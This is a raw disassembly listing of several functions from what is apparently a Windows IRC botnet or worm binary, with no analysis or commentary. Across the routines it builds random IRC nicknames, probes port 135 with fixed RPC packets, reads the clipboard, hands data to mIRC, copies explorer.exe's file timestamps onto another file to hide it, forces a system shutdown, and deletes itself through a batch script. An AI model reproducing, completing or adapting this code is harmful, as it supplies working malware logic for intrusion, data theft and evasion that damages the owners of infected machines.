pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_417E12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417FB1 proc near ; CODE XREF: sub_401B66+31ADp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_41802A
loc_417FC3: ; CODE XREF: sub_417FB1+77j
xor edi, edi
mov eax, offset dword_4D6DC0
loc_417FCA: ; CODE XREF: sub_417FB1+28j
cmp [eax], ebx
jz short loc_417FDB
add eax, 210h
inc edi
cmp eax, offset dword_4DD4E0
jl short loc_417FCA
loc_417FDB: ; CODE XREF: sub_417FB1+1Bj
cmp edi, 31h
jz short loc_41802A
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D6DCC[esi]
push eax
call sub_41C680
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D6FCC[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D6DC0[esi], 1
push eax
push ebx
push edi
push offset sub_417E12
push ebx
push ebx
call dword_42807C ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417FC3
loc_41802A: ; CODE XREF: sub_417FB1+10j
; sub_417FB1+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417FB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41802F proc near ; CODE XREF: sub_401B66+3700p
; sub_401B66+3743p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BD60
add esp, 0Ch
call sub_41C0B2
mov [ebp+var_4], eax
fild [ebp+var_4]
fmul dbl_4286F8
call sub_41CF68
cmp eax, 1
jnz short loc_418079
call sub_41C0B2
call sub_41C0B2
push 66h
cdq
pop ecx
idiv ecx
push dword ptr loc_43ABBF+1[edx*4]
jmp short loc_418092
; ---------------------------------------------------------------------------
loc_418079: ; CODE XREF: sub_41802F+2Fj
call sub_41C0B2
call sub_41C0B2
cdq
mov ecx, 0C0h
idiv ecx
push off_43A8C0[edx*4]
loc_418092: ; CODE XREF: sub_41802F+48j
lea eax, [ebp+var_2C]
push eax
call sub_41C680
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41B7B0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
call sub_41C0B2
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul dbl_4286F0
call sub_41CF68
mov ebx, eax
call sub_41C0B2
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fimul [ebp+var_4]
fmul dbl_4286E8
call sub_41CF68
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_418105
cmp esi, 3
jnz short loc_4180FC
cmp ebx, 1
jz short loc_418105
loc_4180FC: ; CODE XREF: sub_41802F+C6j
cmp eax, 1
jnz loc_4181BE
loc_418105: ; CODE XREF: sub_41802F+C1j
; sub_41802F+CBj
call sub_41C0B2
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul dbl_4286E0
call sub_41CF68
push dword ptr loc_43ABBF+1[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41C680
lea ebx, [ebp+esi+var_2C]
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41C780
add esp, 10h
test eax, eax
jnz short loc_4181AB
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41C780
pop ecx
test eax, eax
pop ecx
jnz short loc_4181AB
call sub_41C0B2
mov dword ptr [ebp+var_10+4], eax
dec esi
fild dword ptr [ebp+var_10+4]
mov dword ptr [ebp+var_10+4], esi
fild dword ptr [ebp+var_10+4]
fmulp st(1), st
fmul dbl_4286E8
call sub_41CF68
cmp eax, 1
jnz short loc_4181AB
push edi
call sub_41B7B0
and dword ptr [ebp+var_10+4], 0
mov dword ptr [ebp+var_10], eax
fild [ebp+var_10]
pop ecx
fstp qword ptr [ebp-8]
call sub_41C0B2
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul qword ptr [ebp-8]
fmul dbl_4286E8
call sub_41CF68
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_4181AB: ; CODE XREF: sub_41802F+110j
; sub_41802F+121j ...
push dword ptr [ebp+var_18+4]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41C9B0
add esp, 0Ch
loc_4181BE: ; CODE XREF: sub_41802F+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41B7B0
mov esi, eax
mov [ebp+var_4], esi
movsx eax, [ebp+esi+var_2D]
push eax
call sub_41DE48
pop ecx
test eax, eax
pop ecx
jnz loc_418415
movsx eax, [ebp+esi+var_2D]
push eax
push edi
xor ebx, ebx
call sub_41C780
pop ecx
test eax, eax
pop ecx
jnz loc_418317
call sub_41C0B2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4286E8
call sub_41CF68
cmp esi, 3
jz short loc_418228
cmp eax, 1
jnz loc_418317
loc_418228: ; CODE XREF: sub_41802F+1EEj
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_41826C
push edi
call sub_41B7B0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp [ebp+var_10]
call sub_41C0B2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul [ebp+var_10]
fmul dbl_4286E8
call sub_41CF68
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_41828A
; ---------------------------------------------------------------------------
loc_41826C: ; CODE XREF: sub_41802F+202j
call sub_41C0B2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286D8
call sub_41CF68
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_41828A: ; CODE XREF: sub_41802F+23Bj
inc esi
xor ebx, ebx
mov [ebp+var_4], esi
inc ebx
call sub_41C0B2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286D0
call sub_41CF68
cmp esi, 3
jz short loc_4182B0
cmp eax, ebx
jnz short loc_418317
loc_4182B0: ; CODE XREF: sub_41802F+27Bj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_4182F5
push edi
call sub_41B7B0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp [ebp+var_10]
call sub_41C0B2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul [ebp+var_10]
fmul dbl_4286E8
call sub_41CF68
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_418313
; ---------------------------------------------------------------------------
loc_4182F5: ; CODE XREF: sub_41802F+28Bj
call sub_41C0B2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286D8
call sub_41CF68
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_418313: ; CODE XREF: sub_41802F+2C4j
inc esi
mov [ebp+var_4], esi
loc_418317: ; CODE XREF: sub_41802F+1C4j
; sub_41802F+1F3j ...
cmp esi, 6
jge short loc_418397
call sub_41C0B2
cmp esi, 5
jge short loc_418334
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286F0
jmp short loc_41834D
; ---------------------------------------------------------------------------
loc_418334: ; CODE XREF: sub_41802F+2F5j
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4286E8
loc_41834D: ; CODE XREF: sub_41802F+303j
call sub_41CF68
test eax, eax
jnz short loc_418370
call sub_41C0B2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286C8
call sub_41CF68
mov cl, 30h
jmp short loc_41838D
; ---------------------------------------------------------------------------
loc_418370: ; CODE XREF: sub_41802F+325j
cmp eax, 1
jnz short loc_418397
call sub_41C0B2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286D8
call sub_41CF68
mov cl, 41h
loc_41838D: ; CODE XREF: sub_41802F+33Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_418397: ; CODE XREF: sub_41802F+2EBj
; sub_41802F+344j
cmp ebx, 2
jge short loc_418415
call sub_41C0B2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4286E8
call sub_41CF68
cmp eax, 1
jnz short loc_418415
call sub_41C0B2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286C8
call sub_41CF68
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41C0B2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286C0
call sub_41CF68
cmp eax, 1
jnz short loc_418415
cmp ebx, eax
jge short loc_418415
call sub_41C0B2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286B8
call sub_41CF68
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_418415: ; CODE XREF: sub_41802F+1ACj
; sub_41802F+36Bj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41BDC0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_41802F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41842E proc near ; CODE XREF: sub_418466+125p
; sub_418466+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_41845C
loc_41843F: ; CODE XREF: sub_41842E+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41DEA0
add esp, 0Ch
test eax, eax
jz short loc_418462
inc esi
cmp esi, edi
jl short loc_41843F
loc_41845C: ; CODE XREF: sub_41842E+Fj
xor al, al
loc_41845E: ; CODE XREF: sub_41842E+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418462: ; CODE XREF: sub_41842E+27j
mov al, 1
jmp short loc_41845E
sub_41842E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418466 proc near ; CODE XREF: sub_40DE14+8Bp
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41C2F0
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_4184A7
dec eax
jz short loc_418485
dec eax
loc_41847F: ; CODE XREF: sub_418466+57j
xor eax, eax
loc_418481: ; CODE XREF: sub_418466+3Fj
; sub_418466+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_418485: ; CODE XREF: sub_418466+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4CDCA4 ; inet_addr
push eax
call sub_40BF0D
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_418481
; ---------------------------------------------------------------------------
loc_4184A7: ; CODE XREF: sub_418466+13j
push 6
push 1
push 2
call dword_4CDCE4 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_41847F
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_4CDC64 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40AA04
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CDC0C ; connect
cmp eax, edi
jz loc_4185C3
push ebx
push 48h
push offset dword_43B4C8
push esi
call dword_4CDCB4 ; send
cmp eax, edi
jz loc_4185C3
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CDC7C ; recv
cmp eax, edi
jz loc_4185C3
cmp [ebp+var_200E], 0Ch
jnz short loc_4185C3
push ebx
push 18h
push offset dword_43B514
push [ebp+arg_4]
call dword_4CDCB4 ; send
cmp eax, edi
jz short loc_4185C3
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CDC7C ; recv
mov esi, eax
cmp esi, edi
jz short loc_4185C3
cmp [ebp+var_200E], 2
jnz short loc_4185C3
push 10h
push offset loc_43B530
lea eax, [ebp+var_2010]
push esi
push eax
call sub_41842E
add esp, 10h
test al, al
jz short loc_4185A3
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_4185C3
; ---------------------------------------------------------------------------
loc_4185A3: ; CODE XREF: sub_418466+12Fj
push 10h
push offset dword_43B544
lea eax, [ebp+var_2010]
push esi
push eax
call sub_41842E
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_4185C3: ; CODE XREF: sub_418466+9Bj
; sub_418466+B2j ...
push [ebp+arg_4]
call dword_4CDCFC ; closesocket
mov eax, ebx
pop ebx
jmp loc_418481
sub_418466 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185D4 proc near ; CODE XREF: sub_401B66+B4Dp
; sub_401B66+B87p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_41865F
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_41865F
cmp [ebp+arg_8], esi
jz short loc_41865F
cmp byte ptr [eax], 0
jz short loc_41865F
push ebx
push edi
call sub_426C69
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_41865A
push [ebp+arg_4]
push edi
call sub_41C0D0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_418653
sub eax, edi
push eax
push edi
push ebx
call sub_41BDC0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41B7B0
push eax
push [ebp+arg_8]
push ebx
call sub_41C9B0
push [ebp+arg_4]
call sub_41B7B0
add eax, esi
push eax
push ebx
call sub_41C690
push ebx
push edi
call sub_41C680
add esp, 30h
mov esi, edi
loc_418653: ; CODE XREF: sub_4185D4+3Cj
push ebx
call sub_41B881
pop ecx
loc_41865A: ; CODE XREF: sub_4185D4+2Bj
mov eax, esi
pop ebx
jmp short loc_418661
; ---------------------------------------------------------------------------
loc_41865F: ; CODE XREF: sub_4185D4+Cj
; sub_4185D4+13j ...
xor eax, eax
loc_418661: ; CODE XREF: sub_4185D4+89j
pop edi
pop esi
pop ebp
retn
sub_4185D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418665 proc near ; CODE XREF: sub_4019F7+DCp
var_7D0 = dword ptr -7D0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push edi
xor ebx, ebx
push 7D0h
lea eax, [ebp+var_7D0]
push ebx
push eax
call sub_41BD60
mov esi, [ebp+arg_0]
push esi
call sub_41B7B0
xor edi, edi
add esp, 10h
inc edi
cmp eax, edi
jge short loc_41869D
or eax, 0FFFFFFFFh
jmp short loc_418704
; ---------------------------------------------------------------------------
loc_41869D: ; CODE XREF: sub_418665+31j
xor ecx, ecx
cmp eax, ebx
mov [ebp+var_7D0], esi
jle short loc_4186BE
loc_4186A9: ; CODE XREF: sub_418665+57j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_4186B6
cmp dl, 0Dh
jnz short loc_4186B9
loc_4186B6: ; CODE XREF: sub_418665+4Aj
mov [ecx+esi], bl
loc_4186B9: ; CODE XREF: sub_418665+4Fj
inc ecx
cmp ecx, eax
jl short loc_4186A9
loc_4186BE: ; CODE XREF: sub_418665+42j
xor edx, edx
cmp eax, ebx
jle short loc_4186E6
loc_4186C4: ; CODE XREF: sub_418665+7Fj
cmp [edx+esi], bl
jnz short loc_4186E1
lea ecx, [edx+esi+1]
cmp [ecx], bl
jz short loc_4186E1
cmp edi, 1F4h
jge short loc_4186E6
mov [ebp+edi*4+var_7D0], ecx
inc edi
loc_4186E1: ; CODE XREF: sub_418665+62j
; sub_418665+6Aj
inc edx
cmp edx, eax
jl short loc_4186C4
loc_4186E6: ; CODE XREF: sub_418665+5Dj
; sub_418665+72j
cmp [ebp+arg_4], ebx
jz short loc_418702
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call near ptr sub_41CAE0
add esp, 0Ch
loc_418702: ; CODE XREF: sub_418665+84j
mov eax, edi
loc_418704: ; CODE XREF: sub_418665+36j
pop edi
pop esi
pop ebx
leave
retn
sub_418665 endp
; =============== S U B R O U T I N E =======================================
sub_418709 proc near ; CODE XREF: sub_418763+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_418742
push ebx
mov ebx, edi
loc_418726: ; CODE XREF: sub_418709+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_418745
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418726
pop ebx
loc_418742: ; CODE XREF: sub_418709+18j
pop edi
pop esi
retn
sub_418709 endp
; =============== S U B R O U T I N E =======================================
sub_418745 proc near ; CODE XREF: sub_418709+25p
; sub_418763+69p
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41DF4C
cmp al, 61h
pop ecx
jl short loc_418760
cmp al, 7Ah
jg short loc_418760
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418760: ; CODE XREF: sub_418745+Ej
; sub_418745+12j
xor eax, eax
retn
sub_418745 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418763 proc near ; CODE XREF: sub_415886+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41C2F0
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B7B0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41B7B0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_418709
add esp, 14h
dec esi
mov edi, esi
jmp short loc_418815
; ---------------------------------------------------------------------------
loc_4187A3: ; CODE XREF: sub_418763+B4j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DF4C
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41DF4C
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418813
loc_4187C5: ; CODE XREF: sub_418763+AEj
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_418745
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_4187E6
mov eax, ecx
loc_4187E6: ; CODE XREF: sub_418763+7Fj
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_418823
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DF4C
movsx ecx, byte ptr [edi+ebx]
push ecx
mov [ebp+var_8], eax
call sub_41DF4C
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_4187C5
loc_418813: ; CODE XREF: sub_418763+60j
dec edi
dec esi
loc_418815: ; CODE XREF: sub_418763+3Ej
test esi, esi
jg short loc_4187A3
mov eax, [ebp+arg_0]
add eax, edi
loc_41881E: ; CODE XREF: sub_418763+C2j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_418823: ; CODE XREF: sub_418763+88j
xor eax, eax
jmp short loc_41881E
sub_418763 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418827 proc near ; CODE XREF: sub_401B66+66D0p
; sub_401B66+776Ap
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_42808C ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_42815C ; FormatMessageA
lea eax, [ebp+var_100]
loc_418860: ; CODE XREF: sub_418827+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_41886C
cmp cl, 9
jnz short loc_41886F
loc_41886C: ; CODE XREF: sub_418827+3Ej
inc eax
jmp short loc_418860
; ---------------------------------------------------------------------------
loc_41886F: ; CODE XREF: sub_418827+43j
; sub_418827+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_418889
mov cl, [eax]
cmp cl, 2Eh
jz short loc_41886F
cmp cl, 21h
jl short loc_41886F
loc_418889: ; CODE XREF: sub_418827+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DD4E0
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41C150
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_418827 endp
; =============== S U B R O U T I N E =======================================
sub_4188B1 proc near ; CODE XREF: sub_401B66+23FDp
push esi
push 0
call dword_4CDC34 ; OpenClipboard
test eax, eax
jz short loc_4188E8
push 1
call dword_4CDC54 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_4188E8
push edi
push esi
call dword_428164 ; GlobalLock
push esi
mov edi, eax
call dword_428160 ; GlobalUnlock
call dword_4CDCB8 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4188E8: ; CODE XREF: sub_4188B1+Bj
; sub_4188B1+19j
xor eax, eax
pop esi
retn
sub_4188B1 endp
; =============== S U B R O U T I N E =======================================
sub_4188EC proc near ; CODE XREF: sub_401B66+7515p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CDC70 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_418968
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_428170 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_42816C ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41C056
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CDCC0 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_4CDCC0 ; SendMessageA
push ebx
call dword_428168 ; UnmapViewOfFile
push edi
call dword_42806C ; CloseHandle
xor eax, eax
pop ebx
inc eax
jmp short loc_41896A
; ---------------------------------------------------------------------------
loc_418968: ; CODE XREF: sub_4188EC+16j
xor eax, eax
loc_41896A: ; CODE XREF: sub_4188EC+7Aj
pop edi
pop esi
pop ebp
retn
sub_4188EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41896E proc near ; CODE XREF: sub_401252+203p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CDD1C ; SearchPathA
test eax, eax
jz short loc_418A0D
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4280EC
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_418A0D
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_428178 ; GetFileTime
push ebx
mov ebx, dword_42806C
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_418A0D
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_428174 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_418A0D: ; CODE XREF: sub_41896E+2Aj
; sub_41896E+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41896E endp
; =============== S U B R O U T I N E =======================================
sub_418A12 proc near ; CODE XREF: sub_401B66+15F6p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419E0C
pop ecx
pop ecx
push 50005h
push 6
call dword_4CDBA4 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_418A12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A34 proc near ; CODE XREF: sub_401B66+26C3p
; sub_416975+45Fp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_42A08C, esi
push edi
jz short loc_418A58
cmp dword_4CDD30, esi
jnz short loc_418A58
push esi
call sub_401000
pop ecx
loc_418A58: ; CODE XREF: sub_418A34+13j
; sub_418A34+1Bj
call sub_40B150
lea eax, [ebp+var_764]
push eax
push 400h
call dword_4280B0 ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41C056
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_4280EC ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_418BB8
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41C056
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_4280E0 ; WriteFile
push edi
call dword_42806C ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BD60
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41BD60
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43FE14
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_42809C ; GetModuleHandleA
push eax
call dword_428074 ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call dword_428098 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_418B60
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_428094 ; SetFileAttributesA
loc_418B60: ; CODE XREF: sub_418A34+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41C056
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_42817C ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_428070 ; CreateProcessA
loc_418BB8: ; CODE XREF: sub_418A34+72j
pop edi
pop esi
leave
retn
sub_418A34 endp
; =============== S U B R O U T I N E =======================================
